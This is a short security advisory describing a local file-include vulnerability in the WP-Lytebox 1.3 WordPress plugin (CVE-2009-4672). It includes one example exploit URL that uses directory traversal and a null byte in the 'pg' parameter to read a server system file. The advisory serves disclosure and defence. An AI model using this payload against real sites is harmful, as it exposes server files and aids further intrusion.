WP-Lytebox 'main.php' Local File Include Vulnerability

Bugtraq ID:	35098
Class:	Input Validation Error
CVE:	CVE-2009-4672
Remote:	Yes
Local:	No
Published:	May 26 2009 12:00AM
Updated:	Oct 28 2010 04:48PM
Credit:	TurkGuvenligi
Vulnerable:	Jared Schwager WP-Lytebox 1.3
Not Vulnerable:

WP-Lytebox 'main.php' Local File Include Vulnerability

WP-Lytebox is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view files and execute local scripts in the context of the webserver process, which may aid in further attacks.

WP-Lytebox 1.3 is vulnerable; other versions may also be affected.

WP-Lytebox 'main.php' Local File Include Vulnerability

Attackers can exploit this issue via a browser.

The following example URI is available:

http://www.example.com/wp-content/plugins/wp-lytebox/main.php?pg=../../../../../../../../../../../../../../../../etc/profile%00

WP-Lytebox 'main.php' Local File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

WP-Lytebox 'main.php' Local File Include Vulnerability

References:

• WP-Lytebox Homepage (Jared Schwager)